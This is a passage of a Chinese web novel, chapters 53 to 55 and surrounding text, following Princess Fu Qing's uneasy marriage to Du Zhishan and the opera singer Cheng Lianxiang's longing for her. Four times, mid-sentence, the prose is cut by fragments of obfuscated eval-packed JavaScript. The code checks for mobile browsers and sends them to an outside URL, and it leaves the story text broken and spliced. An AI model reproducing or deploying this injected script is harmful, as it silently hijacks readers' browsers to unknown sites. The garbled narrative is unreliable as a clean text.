苻庆挑一挑眉毛,“杜博士怕是忘了,这里是我的公主府,既然你是客人,哪有让客人半夜离开的道理?” 杜至善说不出话。 “你放心,我的院子便在隔壁,日后你若是有事可以随时过去找我。”苻庆打开房门,“至于揽晴轩,既然是礼部替杜博士选的,我便将此处交给你了,你想怎么安排都可以。” 说完,苻庆回头看了杜至善一眼,对方还站在床边,脸色是说不出来的古怪。 “杜博士,早点休息。” 回到翠华庭,松醪已经为苻庆铺好了床铺。苻庆终于又能够躺在自己舒服的床榻上,满意地发出一声慨叹。 “公主,您一开始不是打算今晚就睡在揽晴轩的吗?怎么又变卦了?” 苻庆抚摸着柔软的床单,“杜至善这个人确实是聪明,可有点太聪明了,什么事情都想要算到。” 苻庆顿了顿,“而我生平最恨别人算计我。” 松醪点头,她本以为苻庆是打算在大婚当晚给杜至善一点面子。谁知道这个杜至善不知怎么想的,做一出戏骗骗外人便是了,怎么连公主都要算进去,实在不算君子所为。 “明天早晨我要吃蟹肉馒头。” 松醪答应下来,轻轻将床边的帷幔放了下来。 这几日实在是有些疲惫,苻庆也没有时间再想什么,翻了个身便睡着了。 成婚第二日,按照规矩苻庆需要同杜至善一同入宫向皇帝谢恩。 昨晚睡得还算可以,所以难得苻庆早起之后的心情还算可以。看着松醪拿着两根珠钗在自己脑袋上比来比去的样子,苻庆露出一个笑容。 “揽晴轩那边怎么样?” 松醪终于选中了粉色碧玺这支钗,颇为满意地对着铜镜欣赏了一圈自己的作品才回答道:“一切都好,我已经同杜博士讲过,一会出府的时候我们会通知他。” 苻庆点头。 “公主,还有一事奴婢想要请教您。” 苻庆很少见到松醪说话如此谨慎,疑惑地睁大了眼睛。 “你说。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446142|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这件事其实松醪已经想过很久了,一直没想好是否需要请教苻庆。本以为苻庆和杜至善起码看起来关系还算可以,却没想到昨晚又好像闹得不太愉快。 “公主,奴婢们不知道今后该怎样称呼杜博士。” “这件事啊……”苻庆呼出一口气,刚才见松醪表情如此凝重,她还当是出了什么大事。“松醪,你觉得称呼什么好呢?” 松醪没想到苻庆又把这个问题踢给了自己,纠结了一会说道:“公主,按照宫中规矩奴婢们是可以直接称呼杜博士驸马爷的,当然也可以叫姑爷。” “姑爷……”苻庆轻声呢喃,像是在咀嚼这两个字从口中念出的滋味。忽然苻庆想起昨晚杜至善在自己面前装醉的样子,心中迅速略过一丝不快。 “驸马吧。”苻庆回答很笃定,“有些事情还是分得清楚些更好。” 松醪点点头。这当然并非是一个称呼如此简单的事情,而是代表了苻庆如今对待杜至善的态度,这座府邸毕竟还是苻庆的公主府,她的态度同样也代表了下人们对待杜至善的态度。 用过早饭,苻庆走到公主府门口,杜至善已经站在那里等候了。毕竟今日是一同入宫谢恩,苻庆与杜至善都穿了红色系衣服,站在一起的时候倒是确实像一对璧人。苻庆之前也从未给见过杜至善穿这么鲜艳的颜色,不免有些好奇,站在那里一直打量着。 “公主昨夜睡得好吗?” 苻庆没想到杜至善居然还会先发制人询问自己,面上露出一个不太友善的笑容。 “杜博士说话好生奇怪,我住在自己的府邸中怎么会睡不好?反而是你,昨夜是头一晚睡在我这,可还适应吗?” 杜至善愣了一下,随即笑着回答道:“感谢公主关心,在下睡得还算可以。” “那就好。” 马车已经准备好,苻庆也不等待杜至善反应,率先一步登上了马车。杜至善的胳膊刚准备去扶,苻庆已经钻进了车厢。 胳膊停在半空,看着苻庆的背影,半晌杜至善眯起眼,却露出了一个笑容。 不知道是不是由于马车前的小插曲,整个入宫的过程中二人皆是一句话都没有说。苻庆倚在马车车厢中闭目养神,而杜至善走在一旁也是一句话都没有,只是定定地看着窗外。还好马车空间大,他们二人坐在其中连胳膊肘都碰不到一起。 下了马车,二人一同往紫宸殿走去。 皇帝早就知道苻庆要同杜至善一同入宫谢恩,因此也并没有再处理什么政务,反而饶有兴致地让汪公公提前准备好了一壶茶,而自己在旁边用手钏逗弄着鸟笼中的鹦鹉。 “儿臣见过陛下。” 皇帝看起来心情很好,指着圆凳让他们二人坐下。 “朕刚才还在想你俩要什么时候入宫呢?” 苻庆坐下的时候瞥了一眼杜至善,对方正在认真地整理自己的衣摆,并没有同皇上说话的打算。 “儿臣是担心陛下处理政务繁忙,没想到竟是让陛下久等了。”苻庆微微低头,“还请陛下恕罪。” “无妨,这并非是什么大事。再说你们昨日大婚,也是劳累了,今日多睡会也是好的。” 听着皇帝貌似体贴的问候,苻庆只觉得一阵反胃,面上点了点头应承下来。说来也奇怪,她本以为杜至善会在皇帝面前更加话多一些,谁知道对方竟是惜字如金,看这架势若非皇帝真的问到他,他是铁了心打算不说话了。 53. 逃离 “庆儿,如今你成了家,朕也就放心多了,也算完成了当年我对你父亲的承诺。” 苻庆心中冷笑一声,她有时候真的很佩服皇帝这种说谎话的能力。明明是利用自己达到他的目的罢了,竟能够说得如此情真意切,好像真的替自己着想过一般。 “陛下放心,儿臣一定会谨记陛下教诲。” 皇帝很满意苻庆的态度,继续说道:“瑕英长公主的婚期也已经定下来了,你们这些小辈一个个成了家有了依靠,朕也能相对来说轻松一些。” “陛下放心,儿臣们一定会尽己所能为陛下分忧。” 皇帝点点头,之后将目光投向了坐在后头的杜至善。 “杜博士怎么不说话?” 杜至善拱手,“陛下同公主话家常,下官不敢插嘴。” 皇帝摆手,“如今你娶了公主,日后便也是我的儿子,不必如此客套。” 苻庆看着杜至善面无表情回话的样子,忽然对杜至善生出一份好奇。她本以为杜至善对于建功立业如此热衷,那应当是个在皇帝面前毕恭毕敬的人才是,谁知道竟是这幅样子。也不知道是因为自己在这里装模作样还是本来便是如此。 “庆儿,朕知道现在杜至善还暂且没有官职在身。但你放心,朕一定会为他选择一个合适的位置。” 苻庆想起松醪说起皇上要将杜至善调到兵部的事情,“陛下说的话儿臣自然不会怀疑。其实要儿臣说,驸马文采斐然,中进士时写的文章听说也是力透纸背,从前又做过修书的工作,陛下不如便让他去中书省做个小令吧,只要能为陛下分忧便是好的。” 皇帝哈哈大笑,摆手说道:“傻孩子,你的驸马有如此本事,怎能只做一个小令?杜至善,你就再过几日舒服日子吧,也当是朝廷准给你的婚假。” 又寒暄了几句,苻庆便起身告辞。皇帝虽说没有挽留苻庆,却特意嘱咐了一句,“你姨母昨夜头风又犯了,你先别过去了,省得扰了她休息。” 苻庆一愣,点头退了出来。 既然是头风病发作,便说明姨母有不想面见外人的理由,虽然苻庆完全想不到这个理由是什么。而且昨日是自己大婚,姨母明明刚送自己出嫁,后脚便说头风病发作无法见人,实在是有些逻辑不通。 而这样的低级错误是姨母之前从不会犯的。 但皇上已经这样说了,苻庆自然不能再去求证,只是怀着疑虑离开了皇宫。 回去的马车上,苻庆还在考虑这件事。 “公主,刚才在紫宸殿您说的话,是真心的吗?” 思绪被杜至善忽然打断,苻庆一愣,半晌才反应过来杜至善说的是什么。 “杜博士真是说笑了,您也不想想难道是我说您能去哪您就能去哪的吗?”苻庆忽然想要试探一句,“或者说,杜博士难道也已经心有所属,有了想要高就的位置了?” “连长公主殿下都做不到的事,难道在下就有可能完成吗?”杜至善的话听起来不太客气,“在下只怕长公主位高权重,最后真的让在下只做个小令罢了。” “怎么可能?”苻庆笑一笑,“杜博士若真能有远大前程,于我而言不也是有益的吗?” 回到府上,松醪一边给苻庆换衣服,一边轻声将自己从宫中打探到的消息告知了苻庆。 “这样说来,大概真的要让杜至善去兵部了?” 松醪点头。 “真奇怪,我本以为这件事是杜至善自己想的法子,可今日在马车上问他时,又觉得他好像真的什么都不知道。” “驸马爷心思缜密,或许又是在欺瞒公主?” 苻庆瞥了松醪一眼,面上带了一个玩味的笑容。 “你也发现他不老实了?” 松醪笑着收起衣服,转身要往外走。 “等等,松醪。” 松醪转过身,“公主,还有什么吩咐吗?” 苻庆顿了顿,“下午你帮我送封信出去。” “去哪?” “玉泉别院。” 松醪走后,苻庆坐在贵妃榻上休息,脑子里回想起杜至善在马车上说过的话。原先她确实因为杜至善的动机产生过怀疑,但是这并不影响她愿意同杜至善建立同盟。因为在苻庆眼中,自己必须利用一切能够利用的力量。 她如今身单力薄,又被皇权几乎是囚禁在京城,实在是没有太多选择。 一阵乏累袭来,苻庆侧过身趴在贵妃榻上休息。这几日苻庆时常感到疲惫,可能是每日要想的东西太多,明明没做什么便觉得疲惫不堪。 每当这个时候,苻庆都会想起从前她每每从宫中回来的时候,在翠华庭等待自己的程怜香。 只有见到他的时候,只有在那个时候,苻庆才能感觉到自己可以从这些好像无边无尽的痛苦中短暂逃离出来。 本以为程怜香离开公主府后,自己能够逐渐适应回到之前的生活中,谁知伴随着时间越来越久,程怜香出现在苻庆脑海中的时候反而越来越多。 “看来,还真叫你说对了。”苻庆自嘲一笑。“程怜香我承认了,你同杜至善确实是不一样的。” “阿嚏!”刚从台上下来的程怜香轻轻打了个喷嚏。 程班主本来被一帮票友挤得脱不开身,听到动静赶紧走到程怜香身边来,“怎么?可是着凉了?” 程清秋在一旁帮着程怜香应付蜂拥而至的票友们,听到程班主说这话还不忘翻个白眼,“师父,这都几月份了,还能着凉么?” 一帮票友此时也赶紧给程怜香递上手帕,“程老板,您用我的手帕!”“程老板,您小心身体!” 程怜香被好几只手挤在中间,一时间只觉得有些哭笑不得。 “诸位,我刚回来唱这一场,大家便愿意如此捧场,多谢诸位了。”程怜香两手交叠行了个礼。 程班主趁机说道:“各位放心,怜香明日还会继续唱的,欢迎大家明日再来。我很理解大家喜欢怜香的心情,但是这后台实在拥挤,还有许多家伙什在,我们真是怕冲撞了哪位贵人,所以还请大家快回吧。” “程老板,您明日唱什么!”“程老板,《贵妃醉酒》您还唱吗!”“程老板……” 程怜香只觉得脑中嗡嗡直响,有几只手开始往程怜香的身上摸去。地方实在太小,程怜香只能局促地连连讨饶。 “小香香!” 程怜香只来得及往声音的方向看去一眼,下一霎便被顾仙人从人堆中抢了出来。 二人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446143|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路跑回戏班的院子,才终于敢停下歇一口气。 “还好有你顾老仙,否则我都不知道我该怎么办了。” 顾仙人喘着粗气,“也就是你个没出息的,连累我这把老骨头。” 程怜香笑着拍了拍顾仙人的后背,二人一同走回屋内。 看着程怜香洗脸,顾仙人在一旁说道:“小香香,不过也不怪他们疯魔,你这场《梅妃》唱的是真好,我亲眼看着我旁边有两个老头子都听哭了。” 程怜香擦干净脸上的水,笑着问道:“难道你不是老头子吗?” “我是老神仙!”顾仙人理直气壮。 程怜香不再争辩,只是笑着把毛巾挂好。 “行了,这下子你的名号算是彻底打响了。你还年轻,已经能被称为程班主了。”顾仙人笑得合不拢嘴,“如此你师父也就放心了,和春班也算是后继有人了。” 程怜香微笑,却并没有说什么。 顾仙人有些意外,这对于程怜香来说应当已经是一件十分高兴的事情,但对方却没有表现出合理的反应。“你怎么了?” 程怜香长呼出一口气,“我有些累了,顾老仙,今日便不留你喝茶了。” 顾仙人愣了一下,随即反应过来,摇摇头往门外走去。 “小香香,你要记住这世上最苦的事情永远都是多情总被无情恼。” 程怜香也不说话,将顾仙人推出了门外。 顾仙人走后,程怜香一个人坐在屋内。 顾仙人猜的是对的,程怜香此刻在想的,就是公主府那个无情的人。 刚才在后台,看着那么多挤过来夸奖自己的人,程怜香第一反应居然是想将这件事告知苻庆。 那个愿意为了自己的梦想放自己一条生路的人,如今却看不到自己在这条路上真正迈出的这一步。 程怜香感觉到有些怅然若失。 待再反应过来,程怜香才发现自己已经走到了公主府外。 由于昨日才刚举办过大婚,公主府外现在还挂着红灯笼,门上也贴着大红的喜字。程怜香盯着紧闭的大门看了一会,心中既盼着这门能打开,又害怕这门真的会打开。 他是真的很想再见到苻庆一面,可如今苻庆已经成婚,二人再见面又还有什么意义呢?说不定苻庆此时已经忘记了自己是谁,那样的见面见了对于自己来说,只不过是徒增烦恼。 这样想着,程怜香抿了抿唇,最终还是低下头沿着来的路往回走去。 走到转弯处的时候,一驾马车忽然驶过,程怜香有些走神,因此差点被马车蹭到。马儿的前蹄跃起,程怜香也是被吓了一跳,后背撞在了墙壁上。 “你怎么看路的!没长眼睛啊!” 程怜香自动忽略掉了马夫的咒骂,一双眼睛控制不住上下打量起马车来。公主府的马车是皇家的,与宫外的马车还是有一些区别。这个位置紧挨着公主府,程怜香还是期盼着或许能够遇见苻庆。 “算了,没碰到人便好,公子说了回府要紧,快些走吧。”一个小厮撩开帘子,马夫听到他说话后赶紧点头称是,一拉缰绳赶着马车继续前行,只留下程怜香还愣在原地。 确实不是苻庆。程怜香的心中说不出是失望还是安慰。 54. 妄念 “公子。”决明重新放好车厢前的帘子,回头对杜至善说道:“您真的看仔细了?那人就是公主之前抢回府的面首吗?” 杜至善面无表情地坐在轿厢内,两只手撑在膝盖上。 “不会看错的,我们两个有过一面之缘。” 决明皱眉,“既然如此,那他今日怎么会出现在公主府附近?难道说……” “闭嘴。”杜至善表情晦暗不明,“公主所为岂是你可以随意猜测的。” “小的知错。” 从宫中出来后,杜至善想到还有几卷书没有拿,刚才便回了一趟杜府,谁知竟这么巧便在此处遇见了程怜香。 此时杜至善也摸不清程怜香出现在这里的原因,他甚至不知道程怜香与苻庆之间究竟发生了什么事。想到这,杜至善的右手缓缓握成拳。 “公子,那这么说您去兵部的事情应当是板上钉钉的了?” 杜至善这才想起刚才在跟决明说的话题。 “刚才你也听见了,我爹一向求稳,既然这话敢告诉我,想必便是八九不离十了。” 决明从小便同杜至善一起长大,对于杜至善的愿望了如指掌,此时替杜至善感到高兴。 “既然如此,那便离公子的目标又近了一步。” 杜至善点头,脑中却忽然想起来之前在公主府看到的苻庆冲到台上为程怜香解围的事情。 “你去帮我查一个人。” “公子吩咐。” “他叫程怜香,是个戏子。” 回府后,杜至善往揽晴轩走,刚走到门口,便隐约听见两个婢女在院中边扫地边说话的声音。 “你说咱们这揽晴轩也真是风水好,刚走了一个,这不就又住进来了一个新的。” “谁说不是啊?本来想着离开宫中能够轻松些,没想到出了宫也是成天伺候人。” “如今只巴望着这位能如同从前那位一般,稍微好伺候些。” “公主连姑爷都不让咱们喊,我倒觉得应当还不如从前那位……” 决明已经有些按捺不住怒气,刚准备走进去教训这些没大没小的婢女,谁知杜至善已经一个箭步走了出去——只不过是往相反的方向。 “公子!”决明手中的书落了一地。 揽晴轩与翠华庭确实隔得不远,杜至善三步并作两步便走到了翠华庭门口。院门虚掩着,杜至善狠狠一推,木门发出吱呀一声响。 苻庆翘着腿,眼神迷离地向门口看了过来。 松醪有些惊讶,她也没想到杜至善会不等人通禀直接走到翠华庭来,这本身也不符合规矩,便急忙迎上前行礼。 “驸马爷,您是找公主有什么事情吗?” 杜至善这才想起来本朝规矩,即便是驸马和公主同住在公主府内,驸马想要见到公主也要提前派人通禀,待公主同意之后才能够前来。 “我……” “杜博士,请进吧。”苻庆站起身,手中还举着酒杯,话音中带着些慵懒,听起来应该是喝过几杯了。 “别介意,我这个人就这点爱好。”苻庆见杜至善直挺挺地杵在自己面前,用眼神示意松醪给杜至善取了圆凳和酒盅。“别站着了杜博士,喝一杯?” 苻庆此时只是挽着一个堕马髻,几朵珠花簪在发间。衣服也并非是见客的,外衫有些轻薄。 杜至善看向桌上,这张小桌实则是一个小圆几,上头只摆了一个酒壶和一盏酒盅。苻庆的椅子倒是很宽敞,但那是一张贵妃榻,苻庆此时倚在扶手上便已经占了大半空间,实在不像是能够两人同坐的样子。 苻庆已经微醺,只觉得脑子热热的。现在看着杜至善不说话只是打量着自己,不觉有些好笑。 “杜博士,你坐呀。”苻庆将杜至善的酒盅斟满,“这是五年前的陈酿了,我不知道你对酒有没有研究。尝尝看,能喝出区别来吗?” 杜至善见苻庆已经给自己斟了一杯酒,也不坐下,只是端起酒盅来一饮而尽。 这下子即便苻庆喝了酒也能发现氛围有点不对劲了,赶紧坐直身子,声音也比刚才清楚了许多。 “你怎么了?” 那杯酒一入口杜至善便有些后悔了,这酒很烈,一口下去便辣的喉咙都痛了起来。 “你,你自己在这喝酒吗?” “当然了。”苻庆不明白杜至善的问题从何而来,“难道日后我喝酒还要到揽晴轩问候杜博士一声才可以吗?” 杜至善已经感觉都胸口热起来了。 “公主,你我之间的约定还作数吗?” 苻庆没想到杜至善开口就会问这种问题,“自然是作数的,杜博士怎么了?” “那我问你,同盟之间最重要的是什么?” 苻庆并不喜欢杜至善这种咄咄逼人的问话方式,转过头不想说话。 “公主不说?没关系,那我自己讲。公主,同盟之间最重要的便是信任。”杜至善一字一顿说道。 苻庆只当是听了个笑话,抬眼看向杜至善,话语中已经带了讽刺。 “信任?杜博士就配给我谈信任?我看杜博士真是喝醉了,已经忘记昨晚自己做出什么破坏我们信任的事情了。” “那是因为我在公主这里,从来没有感觉到被信任过!”杜至善的声音有些大,“公主,若你是真的信任我,那我现在只问你一句,那个小戏子是怎么回事?” “小戏……”苻庆只觉得有些离谱,她早就将程怜香送走了,杜至善现在又来发什么疯? “杜博士,我提醒你一句,程怜香是陛下赐给我的。这件事你也不是第一日才知道,现在想起来给我说这些,你有什么资格?” “我确实没有资格。但公主殿下,为了我们的同盟我至少付出过努力。可你呢?你都做过些什么?在你心里,你从未相信过我,在这种情况下我们的同盟怎么可能牢固?” 苻庆只感觉自己被杜至善的话说的有点懵,她现在还只当杜至善是个人摆在府中,却没想到杜至善已经走过来开始质问自己了。 “杜至善,你是不是喝多了?” 杜至善摆手,“你别转移话题!” 苻庆无奈,摇摇头站起身来。 “杜至善你喝醉了,快叫决明把你扶回去吧。” “我没醉!”杜至善一挥袖子,“公主,你不是问我为什么要骗你吗?是因为我根本不知道该怎么面对你,我不知道我究竟该怎样才能让你相信我!我本以为我自愿到公主府居住你能够明白我的意思,却没想到你竟然还是什么都不愿意同我说,难道这就是我们之间彼此信任的样子吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446144|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苻庆怎么也没想到杜至善会因为这件事质问她,她确实是不愿意麻烦杜至善。在苻庆眼中同盟就意味着大家除了共同的目标计划以外不应当有太多的牵扯,却没想到在杜至善这里,这个同盟的意味好像有些不同。 “公主,揽晴轩究竟是谁住的?难道我在你眼中,还没有一个戏子有用吗?” “揽晴轩……”苻庆只觉得杜至善实在是废话,若是他还没有程怜香管用,那自己早就直接娶程怜香了,谁还会想要同他成婚。 就在苻庆有些不知道该拿杜至善怎么办的时候,决明终于找到了翠华庭。 “小的给公主请安。” 决明还没来得及跪下,苻庆已经制止住了他的动作,挥手赶紧让他带着杜至善离开。 “你赶紧把你家公子带回去吧,早知道他就这点酒量,我还不叫他喝了呢!” 杜至善还在挥着手喊什么苻庆已经不在意了,决明也有些诧异,恨不得拖着将杜至善带走了。 兴致已经被杜至善搅没了,就连酒都醒了些。苻庆坐下,只觉得刚才自己经历的这一切都太过于离谱,连个前后所以然都说不出来。 松醪看着杜至善走出翠华庭才放心地走回来,与苻庆对视,半晌二人都是一笑。 “奴婢真没想到驸马爷竟然酒量这么差。” “怪不得当时在耦园,我那么轻易就把他扎上麻袋推水里去了。”苻庆想到那个场面便觉得好笑,“看来当时他也是喝醉了。” “这样看来,怪不得昨晚驸马爷装醉装得那样好,原来是熟能生巧。” 苻庆笑着示意松醪将酒瓶收起来。 “信送过去了吗?” “公主放心,已经送去了。” 苻庆点头。 松醪却有些不解,“公主,您都许久没跟玉泉别院送过信了,这回是怎么了?” “我成婚了,难道不应该告诉他一声?” 松醪这才意识到自己问了个蠢问题,吐吐舌头不再说话,转身端着酒瓶离开了。 而苻庆坐在贵妃榻上,伸了个懒腰,又慢腾腾躺下去。 这个杜至善,本来她只是想在与辽国开战之事上利用他、与他合作各自达到目的,没想到竟然要惹出这么多事。 “果然人是不能太清闲了,没正事做的时候,什么没用的都想出来了。”苻庆又想到刚才杜至善给自己耍酒疯的样子。 苻庆已经不再想杜至善这次究竟是假醉还是真疯,同样的把戏杜至善有可能耍两次,但对于苻庆而言这两者却是不同的。若是第一次还可以说是杜至善对自己底线的试探,那这一次便是杜至善切实在通过这件事发泄他的不满。 其实也可以理解,毕竟杜至善选择的这条路基本便是等于背叛了他的门楣。若自己再迟迟不给一点动静,换成自己恐怕也会不满意的。 “放心吧杜博士,着急的人可不止你自己。” 当晚,苻庆让松醪给揽晴轩送去了醒酒汤,但她自己并未出现。杜至善好像也感觉到不好意思,接连两日都没有见到过苻庆。 到了第三天却是躲不过了,苻庆都没想到自己要和杜至善有这么频繁的接触,因为今天按照规矩,是自己回门的日子。 “委屈你了杜博士,还得跟我一同入宫给我父母上香。” 55. 回门 马车行进速度不快,摇摇晃晃的很有节奏性。这次苻庆主动给杜至善说了话,今天二人都穿了素白色的衣服,杜至善不知道是不是还以为喝醉的事情难为情,反正直到上车都不说话。 “公主说的哪里话,既然是公主的父母,此时便也是我的父母。” 苻庆顿了顿,调整了下坐姿说道:“看来是酒醒了,又变回那个说话滴水不漏的杜博士了。” 杜至善没想到苻庆还要调侃自己,但面上并没有太大变化,说话的语调很平常。 “公主焉知此次不是我又装醉呢?” 苻庆一笑,也不再说话,车厢中重新归于沉默。 永福殿的钟声阵阵,木鱼的声音回荡在有些空旷的大殿之中。听着大师的诵经,苻庆偷偷睁开一只眼睛看向牌位。 苻庆总幻想着自己有一天能够在睁开眼睛的时候看见父母的灵魂,哪怕只是一眼,爹娘不能对自己说话,也是好的。毕竟距离苻庆离开锦西城已经六年了,虽说苻庆总是提醒自己,但人的记忆力还是会随着时间遗忘掉哪怕是非常重要的东西。 就像是父母的脸,其实在苻庆的脑海中已经变得很模糊了。 有时候苻庆甚至会怀疑现在留存在自己脑海中的还是不是爹娘的样子,亦或者只是自己想象中的父母的样子。 想到这,苻庆悄悄叹了口气。 知道自己能够再见爹娘一面应该是不可能了,苻庆决定换个愿望。 闭上眼睛,苻庆在心中悄悄说道:“爹娘,如果你们觉得我们两个真的可以夺回锦西城、达成我们的愿望的话,一会便冒一缕青烟给我看吧。” 伴随着两声钟声,苻庆与杜至善向牌位恭恭敬敬磕了三个头。苻庆站起身的时候不出意外又腿麻了,松醪刚准备走上前搀扶,苻庆的胳膊已经被杜至善自然地牵了过去。 “小心。” 苻庆只感觉不只是腿,就连胳膊也变得僵硬了。杜至善神色如常,轻轻扶着苻庆站起身。 “恭喜公主,恭喜驸马,今日这柱香烟气自然散开,如同一朵莲花,实在是大吉之兆。想必这是将军与将军夫人也替公主与驸马高兴呢,公主与驸马定能恩爱白头、平安终老。” 苻庆一怔,目光随着大师的手看向牌位下燃着的香。烟雾缭绕,确实如同花瓣般一层层绽开,不知道这是不是就是大师口中所说的状如莲花。 苻庆还在发呆,杜至善已经率先向大师回了个礼。“多谢大师。” 今日杜至善倒是话多,苻庆在心中暗暗想着,眼睛却还是死死盯着燃烧的香烛。 她并不知道这与她刚才同爹娘说的话有没有关系,一边因为爹娘可能确实听到了自己所说的话而欣喜,一边又因为爹娘居然听到是自己问这个问题而觉得有些好笑。毕竟之前苻庆并不是没有尝试过与爹娘说话,却只有今天看到了一点回应。 也许爹娘来看自己一趟也不容易,所以选在了今天。苻庆在心中这样安慰着自己,也不知道父母在看过自己之后是什么想法,对自己现在的样子满不满意。 这些年没见了,也不知道自己究竟还是不是爹娘眼中的好女儿。 “公主。” 杜至善的声音忽然传来,苻庆才意识到自己已经在这个位置站了太久。深呼出一口气,苻庆扭回头。 “走吧,姨母还在晏呢殿等着我们呢。” 其实今日本也是不该去晏呢殿的,按照规矩苻庆到永福殿上过香后便应该直接去紫宸殿陪着陛下用膳。没想到陛下前日瞧着还好好的,今日竟然说因为身子不适不想见人,连早朝都没有去上。 苻庆本来还想着要不要做样子去紫宸殿探望一下,没想到汪公公直接告诉苻庆不必客套,已经通知过晏呢殿代陛下接待他们夫妻二人。 既然能去探望姨母,那谁还想去紫宸殿装模作样呢?因此苻庆也没有继续坚持,痛快地谢过了皇上。 而薛贵妃此时正在晏呢殿等待着苻庆和杜至善,她昨晚才得知今日苻庆能够借回门的时机到晏呢殿来,因此一大早便起身要小厨房准备好苻庆爱吃的点心。 苻庆到的时候,薛贵妃正站在院子中翘首以盼。苻庆没想到薛贵妃又站在外面等,不等行礼便赶紧走了过去。 “姨母,怎么又到院子里等?” 薛贵妃拉住苻庆的手,用眼神示意苻庆。苻庆这才发现自己甩开了杜至善太远,不过杜至善看起来倒是并不在意,稳稳地走到薛贵妃面前,拱手对薛贵妃行礼。 “下官见过贵妃娘娘。” 薛贵妃伸手扶起杜至善,语气很温柔。 “都这个时候了还要称呼我为贵妃娘娘吗?” 杜至善倒是乖觉,听了这话一刻也没有迟疑便改口说道:“儿臣给姨母请安。” 薛贵妃满意地笑了,拉过苻庆的手往屋内走去。 “这一路累坏了吧?早晨起来喝水了吗?”薛贵妃边走边轻轻地唠叨着,“我已经着人预备好了雪梨汤,一会先喝一碗。中午的时候也别着急了,在晏呢殿吃过饭再走。只是杜博士来的不巧,近来我殿内的饭菜一向是由光禄寺准备的,比不得尚膳监的菜精致。” 杜至善听到薛贵妃点到自己名字,赶紧走上前说道:“儿臣吃什么都可以。” 薛贵妃对杜至善的印象还算不错,此时只是笑着点点头。 苻庆却觉得薛贵妃太过于操劳,“姨母,你身子不好,好好养着才是要紧的。前几日我成婚已经够劳累你了,你这几天就应该好好休息。” 薛贵妃拉着苻庆的手坐下,“能够为你操劳,我心里高兴。” “儿臣听陛下说,姨母前几日头风病又犯了?可要紧吗?” 苻庆与薛贵妃对视一眼,薛贵妃笑着回答道:“杜博士放心吧,是老毛病了不打紧。之前庆儿从外头为我请了个大夫瞧过,如今已经好些了。” 既然话说到这里了,苻庆趁机问道:“姨母,顾大夫的方子您喝了多久了?已经好些了吗?” “好多了。”薛贵妃摩挲着苻庆的手,“你啊,就别总记挂着我了。” “花露,药喝了多久了?” 花露被苻庆直接点名,赶紧走上前说道:“回长公主的话,还有最后一副药了。” 按照顾仙人的说法,此时毒应当已经解了才是。苻庆看向薛贵妃,姨母的脸色这段时间确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446145|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实瞧着好了些,可毕竟是中毒这种事情,就这样了结总觉得不太放心。 “姨母,要不然我再请顾大夫来给您看看吧?” “不必了。”薛贵妃用眼色示意苻庆不要再将这个话题进行下去,“好了庆儿,今日是好日子,不要总说这些不吉利的话。” 苻庆明白薛贵妃是担心自己在杜至善面前提起程怜香,瞥了一眼杜至善,止住了到嘴边的话。 “可惜我昨晚才知道今日你要到晏呢殿来,否则一定给你准备最爱吃的糖蒸酥酪。” 苻庆却很高兴薛贵妃来不及为自己准备这些,“姨母,只要你能好好休息把身体养好,我吃什么都是一样的。” 反正宫里做的什么都不太好吃。苻庆咽下去了后半句话。 “不过,姨母可知道陛下忽然生病的事情了吗?这究竟是怎么了?前日我们入宫谢恩的时候瞧着陛下精神不错啊。” 薛贵妃听到这,不觉摇了摇头,话语里带着叹息。 “还不是为了宁国公府的事情,紫宸殿说陛下昨日知道后气坏了,当场摔了折子,今日连早朝都没有上。” “宁国公府?”苻庆第一反应便觉得事情肯定与宁慈心成婚有关,“前日陛下跟我说宁慈心的婚期已经定下来了,可是与此事有关?” 薛贵妃轻轻点头。 “孔家将婚宴的名单递了上来,礼部与陛下都看过了,按说应当没什么事了才对。谁知宁国公府却是很不满意,话里话外透着说这婚宴太寒酸,配不上宁国公府的长公主,最后逼得孔家回家重新准备了。” “竟是这样?”苻庆吃了一惊。从前她还以为宁国公对陛下颇为恭敬,此次赐婚宁国公也算是做的让外人挑不出什么错处,却没想到一出手便是如此厉害。 